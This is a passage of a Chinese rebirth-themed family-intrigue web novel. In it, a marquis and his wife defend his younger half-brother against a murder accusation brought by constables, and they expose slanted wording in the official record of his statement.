“这事儿吧,还是上辈子无意间知道的,你猜这还得亲爹可能是谁?”夏明嫣笑了一下。 华靖离一愣:“不……不会吧?这……嘿,他到底还有一件事比我们强,我上辈子和你上辈子可是一个都没有……” 二人心里跟明镜似的,衣裳都换好了,一起去了前头,他们过去的时候,元京府尹的差役站了半个院子。 屋前的台阶上,华靖和站在后面,前头站着家丁和董氏,台阶下卜小娘一个人像一只张着翅膀的老母鸡一样在下面挡来挡去,就怕那些差役会冲上来把华靖和抓走。 府里的家丁都是家生子,很多父辈都是华家军的人,武艺上都是没的说的,那些个差役都不是他们的对手。可是元京府衙来拿人,他们都不能公然动手。 谁都知道这些年朝廷忌惮华家,这要是上来就动了手,华靖离才刚好,还没有正式回去当值,正是华家空虚的时候,恐怕会招来一桩更大的罪名。 卜小娘急得脸都红了,那些衙役这会儿其实是站着没动的,但她悬着心,还是走来走去地拦着,生怕自己一个不留意就有人冲上上来: “你们这是趁着老侯爷不在,就想把罪名扣在他的儿子头上。你们还看着……看着我们靖和是庶子,不是夫人肚子里爬出来的,他兄长是侯爷,也不给他撑腰,你们就要抓他走!” “靖和,你说,你倒是说啊,说那个姓吕的小贱人的孩子不是你的,你跟这事儿没关系,你根本就没见过她,对不对?你干什么不做声,你说话啊!” 华靖和憋得脸通红,不是他不想说,是他没法说,因为这些衙役刚刚说的其实在某种意义上都是真的。 没错,三年前,他是去过那间书寓,也曾经在吕大姑娘那儿吃过酒、听过评弹。几个月前,他也的确见过吕大姑娘,还说了两句话,这些都是真的。 可是也不能说是真的,因为三年前,他清醒的时候从未在吕大姑娘的房里过过夜,可是他喝醉的时候,他是真不清楚。只是就算不清楚,也不是一定就有吧? 还有之前她见到吕大姑娘,是,他见过,可那是在绸缎铺子里,他一个同窗的母亲过寿,他一个庶子不好从府里的库房拿东西做人情,就自己去铺子里订了两匹。 说实话,要不是刚才阶下的差役说明了原委,他都不知道那个铺子里的女掌柜是吕大姑娘。 当时他们是说了话,可都说的是绸缎和价钱,没说别的,就是吕大姑娘自己,可能都没认出他是谁来……但他们说话的时候,就是被人看见了,就是人证了。 偏偏没几天吕大姑娘就死了,现在又说她不是自缢,说是被人害死的,说是被他灭了口。 关键是,那个被寄养在城外亲戚家的孩子也不见了,也说是被他带走之后给害了…… 第206章院中有蛇 这些话华靖和刚刚已经都对这些衙役说说了,可是人家那边有人证,他又刚好出现在那里,这根本就说不清楚。 华靖和平日里游戏人间惯了,可也不是傻子,他清楚要是这么进去了,即便最后说清楚了,这中间他自己遭罪不说,华家会在这段日子里被如何非议和毁谤。 可是这么僵持下去也不是办法,华靖和心里堵得脸色发白:“我没有做过,可是小娘,你先过来,等兄长过来,我相信清者自清,是一定能说清楚的!” 董氏之前站在那儿一言不发,看着卜小娘一副咋咋呼呼的样子,不满地道: “你这么拦着有什么用?让你不要张罗着靖和去考什么御青书院,你不听,这回好了,祸事上门了吧?还不退下,这是能拦得住的吗?” 元京府衙能直接上门拿人,这就是到了必须来拿人的地步了,就是华靖离来了,没有直接能够翻盘的证据,也不能阻止他们把人带走。 不过董氏这话说得很好,她心里怪卜小娘上窜下跳,但是这话却不是责怪卜小娘的,她这是点明了华靖和是无辜的,之所以出这样的事儿,就是因为他入御青书院的终选、碍了别人的眼了。 卜小娘却惯会以最坏的角度去设想董氏的用意,不顾外人在场,她愤恨地嚷嚷起来: “夫人好算计,靖和虽说是庶出,可也是老侯爷的骨血、侯爷唯一的弟弟,他去擢选,也是给华家争了光的。现在出了事了,你怎么能把他推出去?” “可怜的靖和,明明在书画上有造诣,硬生生地被耽误了,自己学了,也只敢在外面画,现在还要被这样对待。妾身不服,妾身要见老侯爷!” 因为华靖离痊愈,这几日来府里拜访的人太多了,华叶峰为了躲清静,去了城外的道观清修,这会儿还没来得及赶回来。 华靖和看看董氏,又看向卜小娘,他左右为难地道:“母亲她不是这个意思,小娘,你这么做没有用。我大不了一死以证清白,也绝不坏了华家的名声!” “侯爷来了!” 华靖离和夏明嫣回来的时候就看到这一幕,而府里的家丁看到华靖离就叫了起来。 华靖离大步流星地穿过那些衙役,站到华靖和身前,先是公事公办地询问道:“家弟年纪轻,多有行事不稳重的地方,可也不至于为非作歹。” “不知诸位今日过来,可是有了什么实证?我钩翊侯府虽比不上国公府、相府之类的地方,可也容不得自家子孙被随意冤枉。” 为首的衙役上门行礼,毕恭毕敬地道:“见过钩翊侯,贵妇二公子在吕家大姑娘身死和其子失踪一案中有重大嫌疑,一应物证和人证已到元京府衙,张大人命我等请二公子过去问话。” “哦?这人证好说,敢问这物证是何物?”华靖离一针见血地问道。 董氏、卜小娘、华靖和都愣住了,刚刚太慌乱了,他们谁都没想到重点上。 人证好说,被收买的可能性很大,物证虽然也可以伪造,却是更容易找到破绽的,尤其是华靖和这样的,他应该也没什么物证能留给对方的。 衙役没有丝毫犹豫,直接便道:“华二公子曾与三年前留给吕大姑娘书画两幅、书信一封,其中一封附有百两银票,之后不久吕大姑娘便产下一子。” “月前,在吕大姑娘身故之前,二人见面之时,华二公子曾留给吕大姑娘白银二百两和一处宅子的租赁契书,以供其养育孩子之用。” “吕大姑娘身死之前曾去过这院落,被毒蛇所咬,回家之后自缢。仵作验尸之后发现,吕大姑娘是先中毒而亡的。” 这话耐人寻味,卜小娘一听就先嚷嚷起来:“既然是中毒而亡,就不是自缢,这定是有人在她死后将她挂上去的。你先前说她是夜里自缢的,靖和自来守礼,从不会夜不归宿。” “你们找错人了,这一定不是他干的。他是见过吕大姑娘不假,可华家家风清正,他无论如何都不会跟那种女子有什么收尾,还弄出个孩子来,这就是污蔑!” 卜小娘说完,才发现周围安静得可怕,董氏瞪了她一眼,只淡淡地道:“从不?你能肯定?” 华靖和都这个年纪了,又是爷们,怎么可能从不夜不归宿,光是董氏知道的就有几回。 而且华靖和不是独来独往的,与他一起的总有三五同好,随便问问就能有人证,这个“从不”根本站不住脚,真上了公堂,反而会被认为他们为了袒护华靖和什么都可以说,他们说的其他的就更不可信了。 卜小娘却怒了,对着董氏就是一顿谴责:“夫人,这种时候你怎么能这样说靖和?那些事儿难道是靖和干的出来的吗?你就这么想让她死啊。” “你给我闭嘴……再闹,就让人把你拖下去!” 董氏一片好心被当做驴肝肺,可这儿这么多的外人,她实在不好解释更多,想让华靖和拦着他自己的娘,却见他正一脸疑惑和慌乱,显然还在琢磨方才衙役的话。 夏明嫣不得不从身后拉了下卜小娘,低声解释道:“差役大哥的意思是,吕大姑娘中蛇毒在先,之后自缢,也就是自缢时已然中毒,在自缢窒息而亡之前已先中毒身亡。” 如果这是真的,那就是赶巧了,要是没中毒,自缢就已经要了命了,偏偏毒发先于自缢,差的时间恐怕连半柱香都不到,不得不说华靖和还真是倒霉。 要说这自缢,应该的确是吕大姑娘自己的意思,要是别人害她,又何必先让她中毒留下把柄?可是偏偏毒发身亡在前,而令她中毒的那条蛇恰巧在华靖和的租下的院子里。 这里问题的关键是,华靖和给吕大姑娘银子和这租赁院子的契书做什么? 要说银子还正常,就算华景和跟吕大姑娘当初也没什么,三年后故人重逢,华靖和怜悯她的境遇给些银子也是人之常情,这院子又是怎么回事? 第207章诸多疑点 卜小娘听了之后手都在抖,她从前在宫里见识过许多的阴谋诡计,虽说她还没弄明白这回怎么就算计到她儿子身上了,可是光是这毒发和自缢相隔这么短的时间,简直就是前后脚的事儿,就让她意识到大事不妙。 越是算计精妙的局,背后的事儿越大,她这几日还在为华靖和进了御青书院的终选而高兴,她打点过的那人都没怎么出上力,她儿子就进终选了,果然从前都是被董氏和华靖离压着才那般憋屈的。 谁能想到这才几天,华靖和竟然就要变成阶下囚了。 要说华靖和干出这种事儿,卜小娘是真不相信,不是她太过相信自己的儿子,而是华靖和真没有那等下毒、算计人的本事。 而且这吕大姑娘自己总是她自己做的吧?如果真是被华靖和逼的,无外乎就是用了两种手段——威胁或者情伤,可是这两者都说不通。 要说威胁,华靖和的动机是什么?担心吕大姑娘带着孩子纠缠他?可人家母子之前从没闹腾过,甚至没去找过任何人,就算华靖和是孩子的亲爹,他为什么要突然自己跳出来? 要说是情伤,华靖和纵使不肯纳吕大姑娘进门,这“不肯”都过了三年了,她怎么才寻短见?而且华靖和哪儿有那等让女人为了他想不开到自尽的本事? 卜小娘见董氏不肯帮她,转而求夏明嫣道:“侯夫人,以前是妾错了,妾不该把靖和推出去跟侯爷争。妾不该见侯爷受伤了,就动了不该有的心思,可这些都跟靖和没有关系,都是妾自作主张。” 她又转身给华靖离跪下了,“侯爷,千错万错,靖和他没错,他是你的兄弟啊,他真的干不出这种事儿。就算他真在外面有了孩子了,害怕侯爷和你不准,置了外室也就是了。” “就算他不想认账了,还要始乱终弃,怎么的都比谋人性命强。这是不是中毒而亡,一验就能验出来,他怎么可能干这种傻事儿?” 那边的衙役听了便先说了:“这种事儿可不好说,聪明人也有办糊涂事儿的时候。华二公子年纪还轻,没什么经历,或许就犯了糊涂,自以为别人识不破呢?” “要说这吕大姑娘可真是惨,被人设计逼迫,先下毒后自缢,这是唯恐她死不掉啊……” 这人说完,那些个衙役的目光就都落在了华靖和身上,这些人显然想用目光逼着华靖和彻底慌乱起来,要是他乱了,不是他也差不多是他了。 衙役中有个一个书吏,一直在后面拿着笔记录着,华靖和如何表现都会被记在上面。 华靖和这时候嘴唇都有些发白了,哆嗦着不敢说话,他发抖不是因为心虚,而是因为他根本说不清楚,担心哪一句话说不对了,被揪住错处,连累所有人。 同时,夏明嫣也清楚,这时候华靖离不方便在这里说话,因为无论他说什么,在场的人有一个人的反应不对,都会给人留下徇私的把柄。 夏明嫣便先笑了笑,想让华靖和放松一些:“这位差役小哥说的不错,设局的人用心歹毒,只是既然是自缢,无论之前被人如何逼迫,她自个儿不愿意,也不会一脖子吊了上去。” “此人既然如此狠毒,怎会把这最后一重算计寄托在吕大姑娘自己的意愿上?还有那毒蛇,一座宅子,少说也有一个小院儿、两间屋子吧?这毒蛇在哪儿呢?一共有几条?可都抓住了?” “这要不是到处都是,她怎么就那么巧就被毒蛇咬伤了?还有,二弟他为何要给吕大姑娘一张院子的租契,是要置外室了?既然如此,吕大姑娘又为何要想不开自缢?” “你们也太看不起二弟了,真要置外室,他府里有月银,府外有卖画儿得来的银子,难道他还买不起个院子了,还得租?” 她顿了顿,“我不是质疑府衙的做法,只是这里面的疑点实在太多了,不说明白,就让二弟这样跟着你们去了,实在难以放心。” 为了不让这些人觉得她很懂这些毒物,她还有些话没说呢。 要是华靖和真给吕大姑娘赁了一个院子,吕大姑娘过去就是看屋子的,一般的蛇,不管是有毒没毒的,只要不是人一下子就到了跟前了,听到动静第一反应是爬走或是躲起来。 吕大姑娘一个妇人家,自从回了吕家之后身边也是有人服侍的,她就算不想让身边的人来帮她查验、打扫房子,也会找宅子附近的婆子帮忙。 现在元京这大街小巷的都有一些零散的帮佣,她们都是干粗活的,但没有固定的主家,谁有事儿了现给了银子就去帮谁干活儿。很多人家新置了宅子还没来得及买人服侍的时候,都是先雇了这样的人去打扫的。 吕大姑娘一个人就去翻动宅子,还刚好惊动了毒蛇还被咬了,这也太巧了吧?而且被咬了之后,一个妇人家还不去找郎中诊治? 这毒若是致命的,毒发的过程中定是异常痛苦的,这样都能忍住没去看郎中?要说她是看出了“情郎”要置她于死地而悲愤自尽的,这想法也太少见了。 要让夏明嫣自己说,这仵作要么就是收了别人的银钱,故意作了假,要不就是他的水平不够高明,有没验出来的地方。 夏明嫣给华靖离使了个眼色,意思是这事儿还得查,得想法子换个仵作,要是那位张大人不能秉公办理,还得换人或是加一个监审才行。 卜小娘这时候终于明白了夏明嫣的好了,在一旁着急地道:“就是,夫人说的是,这根本就不合理!靖和,你倒是说话啊,你说这是怎么回事?” 华靖和还是一副惊魂未定的样子,这世上很多事儿都是有疑点的,可究竟能不能还以真相可就不一定了。 这种时候华靖离和夏明嫣是不是站在他身边至关重要,要是他们只是不想让华家丢脸,草草解决此事,完全可以牺牲他这个庶子。 他要是被带走了,只要让他死在牢里,尤其是案子未审结之前,华靖离不仅能得到一个大义灭亲、铁面无私的名声,还能反过来追究元京府衙一个失职之罪,局面就会逆转。 第208章兄弟阋墙的祸根 华靖离养伤这段日子,各种恶意、揣测都袭上门儿来了,人人都说华家要走下坡路了,这时候华靖离好了,正是重振声威的时候。 要是牺牲他这么一个无用的庶子就可以挽回华家的家声……他觉得虽然华靖离不是那样的人,但为了大局考虑,这又是一件说不清楚的事儿,很可能是会牺牲他的吧? 华靖和从小就崇拜他这个大哥,可他也知道他大哥对他没多少感情,甚至从小到大一处相处的时间加起来都不知道有没有两三年。 尤其是家里、族里都在说他这个庶子是拿来守业的,华家历代在外征战的男子都子嗣单薄,好多代都是他们这些守业的子嗣继承了大部分华家……这搁谁身上,谁也不服气。 华靖离现在还娶了妻了,虽说他觉得嫂嫂不是那样的人,可谁会想着自家拿命挣来的家业被一个不是一个娘肚子里爬出来的庶弟分享,他们要是想借此把他处理掉,他也能理解。 更何况卜小娘又是个会得罪人的,向来跟董氏不和,跟自己亲爹华叶峰的关系也就那么回事儿,华叶峰要不是念着先太后的恩情,是一定不会让她这般嚣张的。 只是华靖和在心里叫屈,他真的没有一点非分之想,所以才在长大了一点明白自己不能出头之后甘愿地把自己养成了纨绔的废物。 这次去选御青书院,是卜小娘自作主张的,他是见木已成舟了就想着就当作孝顺亲娘一回了才没抵死不从撂挑子的,原想着自己根本没想着会有什么指望,谁知道怎么就走了狗屎运了,居然进了终选了! 华靖和那个怕啊,从小华叶峰就跟他说了,像他这样不擅长武功、兵法的华家子弟是最吃亏的,因为华家已经走了武勋的路,又是那等功勋卓著的,他们家就不能再有子孙在文试上出头了,即便有,也只能在地方做个小官,尽量不能出头。 他倒也不觉得自己是那等有本事的,也觉着过着这种富贵膏粱子弟的日子挺不错的,就有一天混一天了,他可真没想着争什么。 华靖和现在眼前一阵阵的发黑,他都说不出话来,索性闭紧了眼睛,等着华靖离发话! 可最先等到的却不是华靖离的声音,华靖和的肩膀上先被拍了两下,是那只大而宽厚的手掌,手心的粗粝接触到他肩头的丝绸衣裳上发出细微的摩擦声,隔着衣衫,他却仿佛感觉到了那掌心传来的温度。 华靖离的声音在他身边响起:“华靖和,你怎么说?” “……我……没有。”华靖和好不容易找回了自己的声音,他大着胆子试图睁开眼看看华靖离,该不会真的想让他认下吧? 华靖离撇了他一眼,眼中有种嫌弃的感觉,却没有恶意:“没有就说清楚是怎么回事,照实说,这儿这么多人呢,都给你做见证。” “华靖和,你记着,我是你兄长,断不会让人冤了你去。现在在这儿的有我和你嫂嫂,有你的嫡母和生母,都是这世上最不想要看到你受冤屈的人。” “你有什么话先在这儿说一遍,大胆地说,你是冤枉的,这儿任何一个人都会为你撑腰。但你要记住了,你现在说的话不能有半句不实。若是有半句虚言,你也将失去这里所有人的信任和支持。” 董氏也道:“一个男儿家哆哆嗦嗦的像什么样子,有什么话就说出来,我们华家的孩子没有平白受冤屈的道理。” 夏明嫣刚刚走开了一小会儿,是去前头把侯府整理文书的书吏给叫来了。 这人有些来头,从所属上来看其实也是元京府衙的人,因着侯府不比王府,没有自己的属官,当初圣上便准了他们从元京府衙借人,后来这人就索性留在府里了。 路上夏明嫣问了这人几句,说是在钩翊侯府都有十二三年了,他自己都快忘了自己是元京府衙的人了,毕竟他俸禄的大头都是钩翊侯府给的。 夏明嫣来了就把这人请到前面去,对着刚才那说话的衙役道:“他侯府的书吏,当年是圣上金口允准从元京府衙派到侯府来的,差役小哥年纪轻,恐怕不知道他,回去问问就知道了。” “说起来你们也是同僚呢,我请他过来,就是想一会儿无论二弟他说了什么,都请他记录下来。哦,你们这边带来的书吏也记着,咱们各记各的,等都说完了,都记好了,咱们相互看看,还请你们在记录上做个见证。” 不仅要把华靖和在这儿说的记录下来,还要请两方画押,这就相当于一份口供了。 他们不能拦着不让元京府衙拿人,但是这份口供一旦记录下来,华靖和进去了要是被折磨、被逼问到翻供了,那就有得说道了。 华靖离已经把当中的利害关系都说给华靖和听了,华靖和只要说了实话,华家人都会给他撑腰。 要是这种情况下华靖和还说谎,一来华靖离回头就能查出来他说的是真是假,二来,要是这样,华靖离之后秉公处理,在华家内部也有理有据了,在大多数人那里落不下埋怨。 而华靖和这时候是最不可能说谎的,即便他在这件事儿中有错处,他坦诚地说了,华靖离还有可能帮一帮他。 他若是说了假话,之后被查出来了,他就是品行有亏,在华靖离这儿将彻底失去信任,也会彻底失去这份助力,他就彻底完了。 卜小娘在华靖和这点上是绝对有信心的,她连忙推搡着华靖和道:“你快说啊,这会儿不说,你还等着去里面说吗?你知不知道那是什么地方?” 华靖和嘴唇发白,他睁开眼看着华靖离,像是在最后确定着什么。 华靖离的心情复杂,这可是他有着一半相同血脉的亲弟弟,还是个向来尊敬他的,竟然对他只有这点信任。 之前夏明嫣提醒他的时候,他还觉得有些过了,谁家兄弟做得到那般体贴、事无巨细,又不是女子。 如今看来却不然,这是还没发生什么事儿呢,真到了大事儿面前,这份不信任就是兄弟阋墙的祸根! 第209章是做兄长的失职了 就拿前世来说,他被害死了之后,要是华靖和被带走了拷打逼问,他会为了一个跟他没说过几句话的兄长以命相抗吗? 就算华靖和真准了自己是华家的一份子,他宁死不屈了,可是宁死不屈也是要看能力和手段的。 有的人死了就是死了,冤屈全在身上,死了都是白死。就像华靖和这样的,人家还没把他怎样呢,他就吓得两眼发黑、闭着眼话都说不出来了,就这样的能洗清谁的冤屈? 他是太忽视华靖和的教养了,夏明嫣有句话说的对,就算他在心里不打算把华靖和当作亲兄弟看待,他也不能由着华靖和这样发展下去变成他的软肋。 人都有脆弱和想法偏差的时候,别说华靖和很可能会落下怨恨了,就说他这么脆弱,被人逼一逼就说出什么来,到时候那可就成了这些话是从华靖离亲弟弟嘴里说出来的了! 华靖离目光坚定地看着他,尽量让自己显得没那么凶,这要是他手底下的兵将,他早就训上了: “华靖和,你听好了,你是我弟弟,是华家子孙,这一点无论你做过什么都无法改变。过去我对你没有尽到为兄长的责任,是我的过失。” “可是现在一切都还来得及,你只管说,只要你说的是真的,我保证没人能冤了你去。” 华靖和清醒了一阵儿,听着这些话眼前都觉得清明起来,他终于找回了自己的声音,把自己做过和没做过的都说了: “……我三年前是见过她,也凑份子给她捧过场,也的确曾经有一晚喝醉了在她在的书寓里过过夜,可是,我记得的是……我跟她什么都没有发生,要是说我喝多了,不记得了。” “那之后她总得跟我说些什么吧?没有,她和那儿的人真的没人来找过我。前几个月我是去过吕家的铺子,可那是因为一个同窗的母亲做寿,我定了些缎子送过去……那些缎子,我还给了母亲和小娘一些。” “我就没认出来那是吕家大姑娘,你们说的孩子什么的,也是刚刚你们说起我才知道的……我之前根本就不知道她有个孩子,不是,她有没有孩子跟我有什么关系?我更是犯不着在她过世之后再去藏匿她的孩子。” 华靖和这副手无缚鸡之力的样子,着实不像那等心狠手辣要灭口的。 就算是要灭口,也没这么灭的,一个两岁的孩子而已,他能知道什么?这个年纪在律法上连人证都做不了。 而吕家还有那么一大活人吕二姑娘在呢,吕家二老没了之后,吕二姑娘就当了家,吕大姑娘也在她的支持下出来打理铺子了,那么吕大姑娘从前的事儿她这个做妹妹的什么不知道? 至少在自己外甥的身世上吕二姑娘才是那个心里最有数的人,要灭口也该去灭吕二姑娘才对。 就算没有灭口,他把孩子偷了去藏起来了,看看他这副样子,手头的银子大部分还都是侯府给的月银,他想在外面藏个孩子,还是没在家里过过明路的,他又那胆子? 在场的都是明眼人,包括那些衙役,他们当中的大部分也只是奉命行事,到现在更是怀疑起来。 尤其是按理说这元京府衙的府尹张礼岁往日里不是个昏庸的,相反的,这是个颇为公正、铁面无私的人,不管后面有什么人在撺掇着,最终这案子审结时都应该是公正的。 除非这里面有些事儿是真的解释不清楚了,这些人互相对视了一些,有些人的眼神儿已经变了。 华靖和继续道:“那院子的契书……是真的,可是我绝没有给过吕大姑娘,那院子是我租来……放东西的,契书……我没给过任何人,就是不知道哪儿去了。” “我还说呢,过几日就去府衙补办,左右有租院子的中人在,那院子之前也是空着的,没人去占用,放在那里也跑不了。” “那些银子是你在吕家铺子买绸缎用的?那书信又是怎么回事?”华靖离问道。 华靖和很是不好意思,目光躲闪着道:“银子是买绸缎的,书信……我不知道是怎么回事,我没给女子写过书信,但是诗和词写过。” “这……也不是给谁写的,就是写过,之后就不知道扔哪儿去了……” 华靖和说这些话的时候目光不住地往华靖离那儿看,然后还不自觉地目光躲闪地偶尔瞟向在场的三位女眷,脸都红了。 董氏没听明白,卜小娘是第一个明白的。夏明嫣其实也明白了,前世后来的时候她听说过一些楼子里的事儿,可是现在的夏明嫣实在不该知道这些,她只能装作听不懂,摆出一脸的莫名其妙。 华靖和真是个单纯的人,这时候还知道害羞,他那些诗啊词啊的不是写个特定的谁的,应该是在那些地方摆酒宴客的时候随手写的。 说白了就是这些年轻文人之间逗个乐子,写完见并没有多好,也不见得就传扬出去了,也没人特意去整理,早就不知道去哪儿了。 但这种东西既然是无主的,要是在吕大姑娘那儿找到了,或是有人伪造了一些字迹上去,就说这是给吕大姑娘的,就成了证据了。 卜小娘哪里顾得上这些,上去就拍了他几巴掌:“让你荒唐,让你去那种地方,该打!可是各位官爷,元京的这些公子谁不是这样?别的事儿他可都不敢干吶!” 华靖离没理会卜小娘,只是颔首道:“行,我知道了,两边的书吏可都记录好了,拿来我看看。” 为首的衙役便不愿意了:“华侯,您那边的书吏记录了什么,小的们管不着。可是元京府这边的记录,您也不方便干涉对吧?” 华靖离冷笑了一下:“张礼岁最近是怎么了?连自己手底下的人都管不住了?他不像是这样的人,你是受了什么人的唆摆敢这样到我华家说话?” “若是记录了实情,你们元京府书吏写了什么,我自然无权干涉。这众目睽睽之下,你们还有这么多人,还担心我改了不成?” 第210章春秋笔法,改了! “这……侯爷是体面人,咱们打个商量如何?还是各记各的吧,互不干涉。”为首的衙役打着呵呵。 华靖离无声地冷笑了一下:“你记你的,我记我的,万一有记得不准确的地方,回头再去找后账,谁都觉得自己有理,反而坏了彼此颜面和名声。” “还是就在这里彼此说清楚比较好,你要是不愿意,我便这就交待我侯府的书吏记上一句,‘华侯欲借元京府记录一看,被其拒绝,华侯当即质疑其行事不公’。” “等你走了,我这就给宫里上折子,把这记录一并附上。你觉得,陛下会信谁?” 这时候有些话华靖离不方便说,夏明嫣便开了口,配合默契地道:“差役小哥也别忘了,今日你虽是奉张大人之命前来,可是想来张大人也不能未卜先知,提前知道我们会两边各有记录。” “人是他派来的,可是你的一言一行皆是你自己的意思,并没有请教过他。这事儿到了宫里,你说错在谁身上?” 到了明面上,张礼岁能一推六二五,说是底下人不懂事,吃罪的还是这些个今日在场的衙役。 况且这世上许多事儿要想玩儿猫腻都得在被搬上台面前就办了,要是没能办好,直接被台面上的人知道了,可不就麻烦了? 现在华靖离伤愈不久,还没亲自进宫复命、谢恩,圣上正是想了解他近况的时候,上了折子一定很快就会被呈到御前,就他们这些个人可吃罪不起。 那差役略想了想,脸便拉了下来,可到底不敢再拒绝,便对那书吏道:“快,拿上去给华侯看看,再看看他们的。” 夏明嫣暗暗松了口气,过来之前听华靖离说,他们闹得再凶,也还是会华靖和送回来显得他徇私了,她还有些担心。 现在见这差役没有坚持,自己就要留了活扣了,她心里悬着的那块石头终于落下了一半。 这事儿中间会有波折,但至少华靖和性命无虞,她也不用太歉疚,不过正是因为这些波折,这中间还会有许多人为的变数,这些才是最难处理的。 华靖离抬手示意对方的书吏不必上前,先对着自家侯府的书吏道:“念!” 侯府的书吏会意,高声念出他所记录的内容,一字一句,谁说了什么,谁如何表现,基本就是直接写下了这些人说了什么、做了什么,没有似是而非,也没有添油加醋。 这边念完,所有人都等着元京府衙那边的人开口,可是那边的书吏头上的汗都要下来了,哪里敢念。 华靖离大手一挥,府上的家丁就将那边记录用的册子夺了过来,也不站回来,直接就让自家书吏过去念了出来,过程中还把对方的书吏拉过去看着,看看他们念得对不对,省得之后又留下话柄。 等到念完了,华靖离便看向夏明嫣:“夫人欣喜,可听出了这当中有何不妥之处?” 夏明嫣笑了笑,她是女人,心细点,吹毛求疵一些,想来也不该被计较,如此她就好生计较了一番,指出了当中许多移花接木的春秋笔法: “……刚刚二弟只说院子的租契丢了,具体什么时候丢的他并不清楚,这里记录的却是他在铺子里见过吕大姑娘之后,租契便不在身上了,难不成这是在暗示他将租契交给了吕大姑娘?” “二弟他不仅有府里的月银,还有字画上的进项,不至于送个宅子还是租的……这些都没有记录。” “还有,那些个诗词,二弟说是过去在那些谈风弄月的场所写的,可没说就是在吕大姑娘流落过的那家书寓里写的,这里却偏偏记录着是在书寓里写的……这怎么看起来像是在说这就是给吕大姑娘写的呢?” 一旁的卜小娘赶忙点头道:“夫人说得是,这都是牵强附会之言,听了让人误会。你们这些差役,为什么要这么写?你们平时就是这么做事的?” 这回倒没人拦着卜小娘了,夏明嫣还反过来附和了几句: “要说这些个事儿,哪家公子没有过?就算二弟比别人荒唐了些,怎么早不闹出来,晚不闹出来,偏偏在她选御青书院的时候闹出来?” “真是同人不同命,瞧瞧我那妹夫,那可是我嫡亲妹子的夫君,哦,你们或许不知道,就是端侯府的李世子,在咱们元京被称为冠玉公子的那个。” “人家也入了终选了,却是什么事儿都没有,偏偏我家二弟倒霉,发生了这样的事儿。小娘闲来无事,还是给二弟请位高人,送送太岁吧。” 夏明嫣不着痕迹地跟华靖离对视了一眼,她就是认定了在背后弄鬼的是李玦和夏明月,才故意点破这层关系的。 虽说她嫁给华靖离的时候声势不小,人人都知道夏府同一日嫁出去两个嫡出女儿,可是元京的新鲜事儿太多了,究竟哪个女儿嫁到了哪家、之后又怎样了,未必有几个人清楚。 尤其是夏明嫣和夏明月之间的关系究竟如何,外人也没几个知道的。即便之前赏花宴上夏明月闹了一场,谁又不当她是在耍小孩子脾气呢? 况且眼前的这些人别说不清楚她和夏明月的姐妹情分究竟如何了,他们一时间恐怕连她们之间这“嫡亲”是同父异母之间的嫡亲都弄不清楚呢。 假设这件事背后收买人的就是夏明月,她现在强调了自己是夏明月的嫡亲姐姐,就会一时间给这些人造成一个错觉。 就是她们姐妹间可能还有别的算计,说不定就是在联手做一场戏,其实为的是别的算计。那么这样以来,等到她们算计完了,他们这些个人就成了过了河的卒子了,可以丢开了…… 为首的衙役脸上果然露出了一瞬间的诧异,还多看了夏明嫣两眼,之后便不再坚持,让那书吏重新写了,言辞间公正了许多,至少不至于让人对基本的事实有所误解。 等这些都做完了,华靖离将华靖和推到人前,重重地拍了他后背一下,声音里透着让人安心地坚定: “既然元京府来拿人,你便不好不去。你去了之后把事情说清楚,只要事情与你无关,我保证你能平平安安地回来,你可愿意随他们去?” 第211章碌碌无为的纨绔 华靖和目睹了一大家子这么多人都为着他,心里暖融融的,这时候华靖离的目光又给了他无尽的信任感。 华靖和突然就有了胆气,他重重地点了头:“兄长,我愿意去,我会把事情说清楚的。” “好……不过既然案子尚未审结,两边又各执一词,按照大恒律例,我华家可请讼师前去探望并过问案情。” 华靖离看似客气地道,“你们先把人带去,但我有言在先,讯问不等同于言行逼供、屈打成招。一会儿府医会将华靖和的脉案给你们一并带去,你们可看好了。” “华靖和现在好好的,要是在你们那儿出了什么岔子,别怪我华靖离不答应。” 几个差役对视了几眼,都从彼此脸上看到了惊讶,真没想到华靖离会对一个庶弟这般重视,还准备得如此周全。 卜小娘再不放心,也只能让华靖和跟着这些人去了,她追着这些人半步不离,一直送到了大门口。 华靖离和夏明嫣也跟着送了过去,华靖和走在前头,本来都要上元京府的马车了,忽然一个机灵调头就往回跑。 因为太过突然,那些个衙役都没有准备,晚了他几步,还真就让他跑到了华靖离面前。 “我不跑,不跑,我就是有句话要说……” 华靖和看看华靖离又看看夏明嫣,一张白净的俊脸这时候皱得像苦瓜一样,“兄长,嫂嫂……我觉得院子和院子都是一样的,后边……有原来主人家的东西,替我还了吧。” “嫂嫂,别人去收拾我不放心,要不你让你身边那个叫果儿的丫头去吧,替我亲自还给主家人。” 夏明嫣身边只有一个秋果,没有什么果儿。华靖和趁着背对着那些衙役,对着他们挤眉弄眼的,显然这几句话另有用意。 华靖和便先不问,直接应承道:“行了,去吧,原主人的东西是该还,这都是小时,回头就让这个果儿去办。” 华靖和放了心,虽然还是神情尴尬地回头看了几眼,但终于还是跟着这一行人回元京府衙去了。 卜小娘看着这一行人走远了才回来,之后她又近乎小跑着追上了已经快走到止戈园的华靖离和夏明嫣。 没了外人,卜小娘又恢复了之前的样子,她两眼带着血丝,泪水把脸上的脂粉都弄花了,她失态地指着华靖离,怒气冲冲地道: “都说是我让他去御青书院才惹出了这场大祸,可究竟因为什么,侯爷你心里清楚!还不是因为你和华家功高震主!” “你要是早点将华家军给了兵部,就不会有这一天!靖和那么乖巧、斯文的孩子,都是被你给连累了。我的靖和要是有个三长两短,我不会放过你。” 后头的下人冲过来要拦,被华靖离抬手止住了:“小娘,靖和是华家人,他享受了华家的供养,就得承担华家人要承担的责任。” “哪个世家大族能完全没有问题?在这些问题解决之前,那就只能受着。我遇刺重伤,至今都没人给我一个交代,我又找谁去说这一切?” “再者说,这些问题很早以前就存在,就是小娘你当年跨过这侯府门槛儿之前就已经存在了,可事情被掀出来总要有了由头和借口。” “当初多少人劝你不要让靖和去,就是靖和自己也不愿意,是你一意孤行,给了别人这么一个机会,你还反过来怪别人?要是这么互相责怪下去,我是不是还得怪他连累了我?” 军侯府的问题是那些个大恒建立之初有从龙之功的那些个侯府共同面对的问题,不是华家一家独有的。 那些个早些年交出府军的军侯府如今并没有几家善终的,说白了,你交出了这个,自己就得有另一个能立得起来的强项才行。要是没有,不仅守不住现有的家业,就是子孙安危都难保障。 究其原因,还是在交出去的府军上,那些个夫君上上下下都是这一府的自家人或是家臣,都是几代以来血脉相连、关系非常亲近的,就这么交出去了,这些人能安分? 